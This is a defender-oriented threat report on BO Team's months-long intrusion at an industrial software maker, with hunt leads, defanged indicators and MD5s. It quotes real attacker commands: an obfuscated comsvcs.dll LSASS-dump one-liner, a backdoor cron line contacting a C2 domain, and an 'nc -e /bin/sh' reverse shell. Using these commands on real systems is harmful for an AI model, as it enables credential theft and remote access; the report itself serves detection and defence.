BO Team Got to the Code-Signing Server of an Industrial Software Maker
Kaspersky ICS CERT says BO Team (Black Owl) took over nearly all of an industrial software developer's IT, from vCenter via Log4Shell to the domain and the code-signing server, likely aiming for a supply-chain attack.
An APT group Kaspersky calls BO Team (Black Owl) spent months inside a software developer whose products run in industrial plants, and got as far as the code-signing server before it was caught. Kaspersky ICS CERT’s incident report says the attackers took over nearly everything: the Windows domain, hypervisors, GitLab, Ansible, backups, the mail server and the company’s DNS zone. Kaspersky believes the goal was to slip malicious code into the vendor’s product and reach its customers, mostly industrial companies in Eastern Europe. The intrusion was found in June 2025; Kaspersky held the report for almost a year so the victim could close the gaps.
For defenders
Way in: a Linux terminal server with SSH open to the internet and a service account that accepted passwords (T1021.004 (Remote Services: SSH)). From there the attackers scanned the network, then hit VMware vCenter 7.0.3, which still shipped a Log4j vulnerable to CVE-2021-44228 (Log4Shell) (T1190 (Exploit Public-Facing Application)). Kaspersky reproduced the exploit on the same vCenter build. Root on vCenter gave them its SSH key and then the hypervisors.
Persistence: hourly cron scripts dressed up as system components, /etc/cron.hourly/pgcache on hypervisors and /etc/cron.hourly/1vmware-timesync on VMs (T1053.003 (Scheduled Task/Job: Cron)), with back-dated timestamps (T1070.006 (Indicator Removal: Timestomp)). They stay dormant until the attackers repoint a free nofrillsdns subdomain away from 127.0.0.1 (T1568 (Dynamic Resolution)). VMs also got a modified ReverseSSH backdoor that runs from memory as a process named exe.
Domain takeover: plaintext passwords in world-readable scripts and an LDAP comment field, a forgotten admin account, then an LSASS dump with rundll32 comsvcs.dll by ordinal (T1003.001 (OS Credential Dumping: LSASS Memory)), a copy of ntds.dit via ntdsutil (T1003.003 (OS Credential Dumping: NTDS)) and, with the krbtgt key, Golden Ticket access (T1558.001 (Steal or Forge Kerberos Tickets: Golden Ticket)). An old antivirus without behavior detection let the LSASS trick through.
After eviction: staff got “Account disconnected from the mail server” phishing that passed checks because it carried a valid DKIM signature from the victim’s own stolen key (T1566.002 (Phishing: Spearphishing Link)). Kaspersky’s honeypot copies then received commands to pull Global Socket and new scripts.
lo1yaizaeghaevarooD1ahtaichootae[.]nofrillsdns[.]com (backdoor C2)
lo1yaizaeghaevarood1ahtaichootaz[.]nofrillsdns[.]com (backdoor C2)
vmware-timecheck-api[.]nofrillsdns[.]com (VM backdoor C2)
95.81.115[.]77 (C2)
193.3.23[.]236 (VPN logins, C2)
80.76.42[.]139 (VPN logins, C2)
ip-223-6.dataclub[.]info (DKIM-signed phishing sender)/etc/cron.hourly/pgcache
/etc/cron.hourly/1vmware-timesync
/usr/bin/vmware-toolbox-setdate (fake VMware utility)
/dev/shm/pulse-shm-3088612174 (stolen NX credentials)
\Windows\Temp\pnSsW4wSk.cur (LSASS dump)Kaspersky published MD5s only; they’re in the Hunt Lead report below.
What it means for you
If you don’t run IT for a software company, there’s nothing to do today. The bigger point is for anyone who buys software: an attacker who owns a vendor’s build and signing servers can ship malware inside a perfectly signed update. This one was stopped in time. If you build software, your build and signing machines need the same protection as your bank login.
Do this now
- Patch or retire anything still carrying Log4Shell, especially old vCenter 7.0 builds, and keep vCenter off networks users can reach.
- Turn off SSH password logins on internet-facing servers and use keys plus MFA.
- Search scripts, LDAP fields and shares for stored passwords, and remove stale admin rights.
- Check
/etc/cron.hourlyon hypervisors and Linux VMs for scripts you can’t explain.
Source article: Supply chain attack: BO Team in a software developer’s infrastructure
Publisher: Kaspersky ICS CERT
Published: Nov. 5, 2026
URL: https://ics-cert.kaspersky.com/publications/reports/2026/11/05/supply-chain-attack-bo-team-in-a-software-developers-infrastructure/
Executive Summary
BO Team, also reported by Kaspersky as Black Owl, is attributed by Kaspersky ICS CERT “with a high degree of confidence” to a months-long intrusion at a Russian software developer whose products are used by industrial enterprises, predominantly in Eastern Europe; Kaspersky bases the attribution on an LSASS-dumping command identical to one from earlier BO Team intrusions, matching obfuscation and timestomping habits, Russian-language phishing, and attacker IP addresses registered to a Ukrainian provider. The intrusion began with an SSH password login to an internet-exposed Linux terminal server using a service account, followed by days of internal scanning (likely Metasploit) and web reconnaissance through Burp Suite over an SSH proxy. The attackers then exploited Log4Shell (CVE-2021-44228) in VMware vCenter 7.0.3 to get a root shell, read vCenter’s SSH private key, logged in to the hypervisors and planted hourly cron backdoors disguised as PostgreSQL and VMware components, timestomped to 2021, that fetch scripts from free nofrillsdns subdomains parked on 127.0.0.1 until activated; virtual machines received similar cron scripts and a modified ReverseSSH backdoor that runs from a memory file descriptor as a process named exe. Plaintext credentials in world-readable scripts and an LDAP comment field, plus a forgotten local-admin account, led to the domain controller, where a comsvcs.dll MiniDump of LSASS, an ntdsutil copy of ntds.dit and a registry export gave them the krbtgt key and Golden Ticket access; the GitLab server’s private key opened Ansible, and the Ansible key opened the VPN, backup and network-configuration servers. The attackers also trojanized the NX remote-desktop login script to harvest passwords, brute-forced root SSH on an administrator’s server, tried to plant a WMI-delivered backdoor on the code-signing server, and deleted logs throughout. No data was encrypted or destroyed; the objective appears to have been a supply-chain compromise of the developer’s product, which the June 2025 detection stopped. After eviction, BO Team sent phishing signed with the victim’s stolen DKIM key and later activated its C2 domains. Hunt leads, false positive expectations and indicators are detailed below; the source publishes no detection rules.
ATT&CK chain: Reconnaissance → Initial Access → Execution → Persistence → Privilege Escalation → Defense Evasion → Credential Access → Discovery → Lateral Movement → Collection → Command and Control
Hunt Lead Grid
| Hunt Lead Level | Hunt Lead Name | ATT&CK | Risk of False Positives |
|---|---|---|---|
| 1 (Junior) | BO Team nofrillsdns C2 and VPN Source Sweep | T1568 (Dynamic Resolution), T1071.001 (Application Layer Protocol: Web Protocols) | Low. The three subdomains are random-looking attacker names and the IPs were used for VPN logins and C2; the one caution is the shared nofrillsdns service, so match the full subdomains, not the parent domain. |
| 1 (Junior) | Timestomped cron.hourly Backdoors on Hypervisors and VMs | T1053.003 (Scheduled Task/Job: Cron), T1070.006 (Indicator Removal: Timestomp), T1036.005 (Masquerading: Match Legitimate Resource Name or Location) | Low. pgcache, 1vmware-timesync and vmware-toolbox-setdate are not names any PostgreSQL or VMware package installs; a curl or wget call inside any cron.hourly script is rare enough to review by hand. |
| 2 (Pro) | LSASS Dump via comsvcs.dll Ordinal | T1003.001 (OS Credential Dumping: LSASS Memory) | Low. Nothing legitimate calls comsvcs.dll MiniDump through rundll32 against LSASS; anchor on rundll32 with comsvcs.dll and either MiniDump or an ordinal, which also catches the #+0000^24 obfuscation. |
| 2 (Pro) | Shell Spawned by vCenter Services (Log4Shell) | T1190 (Exploit Public-Facing Application) | Medium. vCenter’s own services run shell scripts during upgrades and health checks; the rule anchors on a Java or Tomcat parent launching sh or bash with Base64 or nc, with no matching vCenter user session. |
| 3 (Elite) | Domain Controller Credential Theft to Golden Ticket | T1003.003 (OS Credential Dumping: NTDS), T1558.001 (Steal or Forge Kerberos Tickets: Golden Ticket) | Medium. Backup jobs and AD maintenance use ntdsutil and scp legitimately; the lead needs a baseline of who runs them and correlates the dump, an outbound scp from the DC and Kerberos tickets that have no matching AS request. |
BO Team nofrillsdns C2 and VPN Source Sweep
Every BO Team backdoor in this case resolved a subdomain created on nofrillsdns[.]com, a free dynamic DNS service whose records can be changed with a single curl call: lo1yaizaeghaevarooD1ahtaichootae[.]nofrillsdns[.]com (hypervisor backdoor, fetching /script.sh), lo1yaizaeghaevarood1ahtaichootaz[.]nofrillsdns[.]com (later downloader scripts fetching /$(hostname) and /update) and vmware-timecheck-api[.]nofrillsdns[.]com:443 (VM backdoor). While idle the records point to 127.0.0.1, which the scripts check before doing anything; when BO Team wanted to act, they pointed them at 193.3.23[.]236, 80.76.42[.]139 or 95.81.115[.]77. The first two IPs were also the sources of the attackers’ VPN logins with stolen configuration files and credentials, and the attackers grepped /proc/net/nf_conntrack for 80.76.42. to find and delete logs that held their addresses. After eviction, the DKIM-signed phishing was sent through ip-223-6.dataclub[.]info. The detection logic is a retrospective sweep of DNS resolver, proxy and firewall logs for any of the three subdomains (including resolutions to 127.0.0.1, which mean an installed backdoor checking in while idle), VPN and firewall logs for the three IPs, and mail logs for the sending host.
Use DNS resolver logs from hypervisor, server and VM subnets first, since the backdoors live on servers, then VPN concentrator, firewall and NetFlow records, and mail gateway logs for the phishing host. Sweep back at least 18 months: the intrusion was detected in June 2025 after weeks of access, and the backdoors stayed dormant until reactivated. Scope to virtualization hosts, Linux servers and anything reachable from the VPN subnet. Don’t block nofrillsdns[.]com as a whole if any business use exists; block and alert on these subdomains, and consider alerting on any server resolving a nofrillsdns name, which is unusual for production systems. Treat a DNS hit from a server as a confirmed backdoor and go straight to incident response; a VPN login from these IPs means stolen VPN configuration and credentials, so revoke and reissue both.
Hunt Lead Level: 1 (Junior Analyst)
ATT&CK: Command and Control → T1568 (Dynamic Resolution); Command and Control → T1071.001 (Application Layer Protocol: Web Protocols) (our mapping)
Sources: “Supply chain attack: BO Team in a software developer’s infrastructure”, Kaspersky ICS CERT, Nov. 5, 2026, https://ics-cert.kaspersky.com/publications/reports/2026/11/05/supply-chain-attack-bo-team-in-a-software-developers-infrastructure/ (source article)
Timestomped cron.hourly Backdoors on Hypervisors and VMs
After reading vCenter’s /root/.ssh/id_rsa and logging in to the first virtualization cluster, BO Team dropped /etc/cron.hourly/pgcache, a Bash backdoor named to pass as a PostgreSQL component, set its Modify timestamp back to 2021, and reused the hypervisor’s certificate to reach a second cluster and plant a similar file. On virtual machines it added /etc/cron.hourly/1vmware-timesync, also timestomped, which runs “/usr/sbin/pidof exe || /usr/bin/vmware-toolbox-setdate -d vmware-timecheck-api[.]nofrillsdns[.]com:443”: if no process called exe is running, it starts a fake VMware utility. vmware-toolbox-setdate is an obfuscated script that rebuilds an AES-256-CBC encrypted archive from fragments of itself, then decrypts and runs the payload, a modified build of the public ReverseSSH project with the attackers’ SSH key, from the in-memory descriptor /proc/self/fd/3 under the process name exe. On a terminal server they also edited /usr/bin/nxnode-login so the NX remote-desktop login wrote user credentials to /dev/shm/pulse-shm-3088612174, a name chosen to look like PulseAudio shared memory. The detection logic is a file sweep of every hypervisor and Linux host for those paths, any cron.hourly script that calls curl, wget or bash on remote content, any process whose executable is a deleted or memfd path named exe, and a modification-time check on nxnode-login against the package manifest.
Use EDR or osquery file inventory on Linux servers and VMs, and an SSH-based script for ESXi and other hypervisors that EDR doesn’t cover; compare file mtime with ctime, since timestomping rewrites Modify but a recent ctime gives it away. Sweep everything, because the attackers had root on both virtualization clusters, and keep checking for at least 90 days after cleanup, since the backdoors are designed to sit idle. Don’t hash-block: Kaspersky published MD5s for several variants, and the scripts are trivially changed; anchor on paths, cron content and the exe process name. Verify that vmware-toolbox-setdate isn’t legitimately present on your guests (VMware Tools ships vmware-toolbox-cmd, not this name). Any hit means root-level compromise of that host and probably the hypervisor beneath it, so escalate to incident response and rotate every SSH key and certificate on the cluster. The approach generalizes to any dormant cron implant on infrastructure that rarely gets endpoint agents.
Hunt Lead Level: 1 (Junior Analyst)
ATT&CK: Persistence → T1053.003 (Scheduled Task/Job: Cron); Defense Evasion → T1070.006 (Indicator Removal: Timestomp); Defense Evasion → T1036.005 (Masquerading: Match Legitimate Resource Name or Location) (our mapping); for the nxnode-login change, Credential Access → T1556 (Modify Authentication Process) (our mapping)
Sources: “Supply chain attack: BO Team in a software developer’s infrastructure”, Kaspersky ICS CERT, Nov. 5, 2026, https://ics-cert.kaspersky.com/publications/reports/2026/11/05/supply-chain-attack-bo-team-in-a-software-developers-infrastructure/ (source article)
LSASS Dump via comsvcs.dll Ordinal
On the domain controller, BO Team first tried Nanodump, which the security product blocked; they then cleared the event logs and later came back with a living-off-the-land command: %COMSPEC% /Q /c cmD.EXe /Q /c for /f “tokens=1,2 delims= ” ^%A in (‘”tasklist /fi “Imagename eq lsass.exe” | find “lsass””‘) do rundll32.exe C:\windows\System32\comsvcs.dll, #+0000^24 ^%B \Windows\Temp\pnSsW4wSk.cur full. tasklist finds the LSASS PID, rundll32 calls comsvcs.dll’s MiniDumpW by its ordinal 24 written with caret and plus-sign padding, and the full dump lands in C:\Windows\Temp with a random name and a .cur extension; the dump was then copied off with the built-in C:\Windows\System32\OpenSSH\scp.exe to the attacker-controlled Linux terminal server. Kaspersky says the command matches one from an earlier BO Team intrusion character for character apart from the file name, and that it succeeded only because the domain controller ran an outdated security product with no behavioral module. Before this, the attackers changed the security attributes of the user’s Downloads folder, likely to hide failed malware launches, and tested ie4uinit and other system binaries as launchers. The detection logic is process creation for rundll32.exe with comsvcs.dll in the command line together with MiniDump or a # ordinal reference, a .cur, .dmp or other file written to C:\Windows\Temp by rundll32, and LSASS handle access with read-memory rights by rundll32.
Use EDR or Sysmon process creation (Event ID 1), process access to lsass.exe (Event ID 10) and file creation (Event ID 11), plus Windows Security 4688 with command-line logging where EDR is missing. Normalize the command line before matching: strip carets, collapse “+0000” padding and lowercase, so #+0000^24 reads as #24. Sweep back 12 months on every domain controller and tier-0 server. There is no legitimate administrative use of this pattern, so don’t tune it away; pair it with an alert on scp.exe or ssh.exe launched on a domain controller, which in most environments never happens. Blocking rundll32 outright is the wrong control and breaks Windows; turning on LSA protection (RunAsPPL) and Credential Guard is the right one. Any hit is a confirmed credential theft on a tier-0 system: escalate immediately and plan a full credential reset. The lead generalizes across many ransomware and APT crews that use the same comsvcs trick.
Hunt Lead Level: 2 (Pro)
ATT&CK: Credential Access → T1003.001 (OS Credential Dumping: LSASS Memory) (our mapping)
Sources: “Supply chain attack: BO Team in a software developer’s infrastructure”, Kaspersky ICS CERT, Nov. 5, 2026, https://ics-cert.kaspersky.com/publications/reports/2026/11/05/supply-chain-attack-bo-team-in-a-software-developers-infrastructure/ (source article)
Shell Spawned by vCenter Services (Log4Shell)
After failed logins to the vCenter web interface, the attackers got root command execution on vCenter 7.0.3 through the vulnerable Log4j library loaded in its Tomcat-based services; Kaspersky confirmed the build was exploitable on a test bench and notes the command syntax copied a public Log4Shell demonstration with only the target IP changed. The log trail was distinctive: command-line interpreter processes running as root with a Base64-encoded argument that decoded to a reverse shell, nc -e /bin/sh to an internal Windows terminal server on port 8091, at a time with no SSH connection and no vCenter user session. The attackers then read /root/.ssh/id_rsa, connected to the ESXi hosts with it and created virtual network interfaces to reach VMs from the VPN subnet. The detection logic is process lineage on the vCenter appliance: a Java or Tomcat service process spawning sh or bash whose arguments contain Base64 or launch nc, curl or wget, joined with the absence of a vCenter UI or SSH session at that time, plus any read of /root/.ssh/id_rsa followed by a new SSH login from the vCenter address to a hypervisor.
Use the vCenter appliance’s own logs (procstate and audit logs, which Kaspersky used to confirm the vulnerable library was loaded), forward them to a SIEM, and add hypervisor SSH logs; where possible run a lightweight agent or auditd on the appliance. Sweep back as far as logs exist, since Log4Shell has been exploitable on unpatched vCenter 7.0 builds since December 2021. Scope to vCenter and any other appliance that bundles Java services. Expect some noise from vCenter’s own maintenance scripts; allowlist them by full script path, never by parent process. Network blocking of outbound LDAP and RMI from management networks is a useful compensating control, but the real fix is patching or the VMware workaround; hiding vCenter behind a jump host also removes the attacker’s path. Any confirmed hit means root on vCenter and the SSH key to every host it manages: escalate and rebuild trust for the whole cluster.
Hunt Lead Level: 2 (Pro)
ATT&CK: Initial Access → T1190 (Exploit Public-Facing Application) (our mapping; the source names CVE-2021-44228); follow-on Credential Access → T1552.004 (Unsecured Credentials: Private Keys) (our mapping)
Sources: “Supply chain attack: BO Team in a software developer’s infrastructure”, Kaspersky ICS CERT, Nov. 5, 2026, https://ics-cert.kaspersky.com/publications/reports/2026/11/05/supply-chain-attack-bo-team-in-a-software-developers-infrastructure/ (source article)
Domain Controller Credential Theft to Golden Ticket
When the LSASS dump didn’t yield domain-admin credentials, BO Team exported the SYSTEM registry hive with regedit.exe, copied C:\Windows\NTDS\ntds.dit with ntdsutil.exe, decrypted it offline with the registry key material, and moved both off the domain controller with scp.exe; with the krbtgt key in hand they could forge Kerberos TGTs for any account, and a couple of hours later they logged in to the domain controller with a domain administrator’s Kerberos ticket. The day after the domain fell, they switched from an unprivileged technical account to root on the shared terminal server, used the GitLab VM’s private key to reach Ansible and the Ansible key to reach the VPN, backup and network-configuration backup servers. Kaspersky’s SIEM analysis showed the attackers’ Kerberos ticket requests followed a normal working week and day. The detection logic is a correlation: ntdsutil or a registry hive export on a domain controller, followed within hours by scp.exe or ssh.exe on that DC, followed by Kerberos service-ticket requests (4769) for privileged accounts with no preceding TGT request (4768) from the same host, or with a TGT lifetime or encryption type that doesn’t match domain policy.
Use domain controller process creation, Windows Security events 4768, 4769 and 4624, and a baseline of who runs ntdsutil and when (backup software usually does it on a schedule from a known account). Sweep back at least 12 months, since the attackers stayed for months and a forged TGT can outlive password changes. Scope to domain controllers and accounts in privileged groups. Don’t suppress by account alone, because the attackers used real administrator accounts; anchor on the sequence and on time-of-day anomalies. The wrong response to a hit is a single krbtgt reset: Kaspersky’s guidance is to reset krbtgt twice in quick succession, reset all user and computer passwords, and reissue keys and certificates, including the mail server’s DKIM key, which this actor reused to sign phishing after eviction. Any correlated hit should go straight to incident response.
Hunt Lead Level: 3 (Elite)
ATT&CK: Credential Access → T1003.003 (OS Credential Dumping: NTDS); Credential Access → T1558.001 (Steal or Forge Kerberos Tickets: Golden Ticket) (our mapping; the source describes the Golden Ticket capability and the use of a stolen administrator ticket)
Sources: “Supply chain attack: BO Team in a software developer’s infrastructure”, Kaspersky ICS CERT, Nov. 5, 2026, https://ics-cert.kaspersky.com/publications/reports/2026/11/05/supply-chain-attack-bo-team-in-a-software-developers-infrastructure/ (source article)
Hash Appendix
BO Team Linux backdoors and downloader scripts
MD5s from the source article, which publishes no SHA1 or SHA256 values; OTX AlienVault had no record for these files, and VirusTotal was not queried. Kaspersky verdicts in brackets.
MD5s
346b04985ec6c5d107ba0ddf32fe7691 # pgcache -> /etc/cron.hourly/pgcache on hypervisors, Linux bash backdoor [HEUR:Backdoor.Shell.Agent.o]
b86690213f0155f7b3b65832301ed932 # 2nd-cluster backdoor -> similar hypervisor bash backdoor (path not published) [HEUR:Backdoor.Shell.Agent.o]
5aa8c19c897176502cf8d8fc543fafc7 # bash backdoor -> Linux bash backdoor (file name not published)
6d12efa1db15121f88d58b9952e301ef # next-stage script (proxy variant) -> Linux bash backdoor served by C2 [HEUR:Backdoor.Shell.Agent.o]
68957de915e2a58339fa477f8078bdf4 # ReverseSSH -> modified ReverseSSH backdoor on VMs [HEUR:HackTool.Linux.ReverseSSH.gen]
cb2908ef4cc042bfe856c84e9b61a2f9 # script.sh (gsocket) -> Global Socket downloader served by C2 [Trojan.Shell.Agent.gg]
719e813e527920e83349e061b5b1590f # script.sh (v2, no protocol) -> downloader script served by C2 [Trojan.Shell.Agent.gf]
86ff08749e77d5d078e929e5f9748504 # script.sh (v3) -> downloader script sending $(hostname) [Trojan.Shell.Agent.ge]
5e04b2891635cbaa83ad619fe248e85b # update fetcher -> downloader piping /update to bash [Backdoor.Shell.Agent.t]
SHA1s
(not available) # pgcache -> /etc/cron.hourly/pgcache on hypervisors, Linux bash backdoor [HEUR:Backdoor.Shell.Agent.o]
(not available) # 2nd-cluster backdoor -> similar hypervisor bash backdoor (path not published) [HEUR:Backdoor.Shell.Agent.o]
(not available) # bash backdoor -> Linux bash backdoor (file name not published)
(not available) # next-stage script (proxy variant) -> Linux bash backdoor served by C2 [HEUR:Backdoor.Shell.Agent.o]
(not available) # ReverseSSH -> modified ReverseSSH backdoor on VMs [HEUR:HackTool.Linux.ReverseSSH.gen]
(not available) # script.sh (gsocket) -> Global Socket downloader served by C2 [Trojan.Shell.Agent.gg]
(not available) # script.sh (v2, no protocol) -> downloader script served by C2 [Trojan.Shell.Agent.gf]
(not available) # script.sh (v3) -> downloader script sending $(hostname) [Trojan.Shell.Agent.ge]
(not available) # update fetcher -> downloader piping /update to bash [Backdoor.Shell.Agent.t]
SHA256s
(not available) # pgcache -> /etc/cron.hourly/pgcache on hypervisors, Linux bash backdoor [HEUR:Backdoor.Shell.Agent.o]
(not available) # 2nd-cluster backdoor -> similar hypervisor bash backdoor (path not published) [HEUR:Backdoor.Shell.Agent.o]
(not available) # bash backdoor -> Linux bash backdoor (file name not published)
(not available) # next-stage script (proxy variant) -> Linux bash backdoor served by C2 [HEUR:Backdoor.Shell.Agent.o]
(not available) # ReverseSSH -> modified ReverseSSH backdoor on VMs [HEUR:HackTool.Linux.ReverseSSH.gen]
(not available) # script.sh (gsocket) -> Global Socket downloader served by C2 [Trojan.Shell.Agent.gg]
(not available) # script.sh (v2, no protocol) -> downloader script served by C2 [Trojan.Shell.Agent.gf]
(not available) # script.sh (v3) -> downloader script sending $(hostname) [Trojan.Shell.Agent.ge]
(not available) # update fetcher -> downloader piping /update to bash [Backdoor.Shell.Agent.t]
The Global Socket utility the C2 script downloads is a public open-source tool; detect its use by the preset key and parentage rather than blocking its hash. Kaspersky also lists the verdict Trojan.Shell.Agent.gc without a matching hash.
References Appendix
- “Supply chain attack: BO Team in a software developer’s infrastructure”, Kaspersky ICS CERT, Nov. 5, 2026, https://ics-cert.kaspersky.com/publications/reports/2026/11/05/supply-chain-attack-bo-team-in-a-software-developers-infrastructure/ (source article; intrusion timeline, commands, attribution, indicators and MD5s)
- MITRE ATT&CK Enterprise technique pages linked above, MITRE, https://attack.mitre.org/
CVE at a glance
- CVSS
- 10 Critical (v3.1)
- EPSS
- 100% chance of exploitation in the next 30 days (higher than 100% of CVEs)
- Exploited in the wild
- Yes, on CISA’s KEV list since Dec 10, 2021; used by ransomware
- Public exploit
- Yes, reported in a Metasploit module, Exploit-DB, a Nuclei template and 508 GitHub repositories
Data from NVD, FIRST EPSS and CISA KEV, refreshed automatically. We report whether public exploit code exists but never link to it: fake proof-of-concepts that infect researchers are common.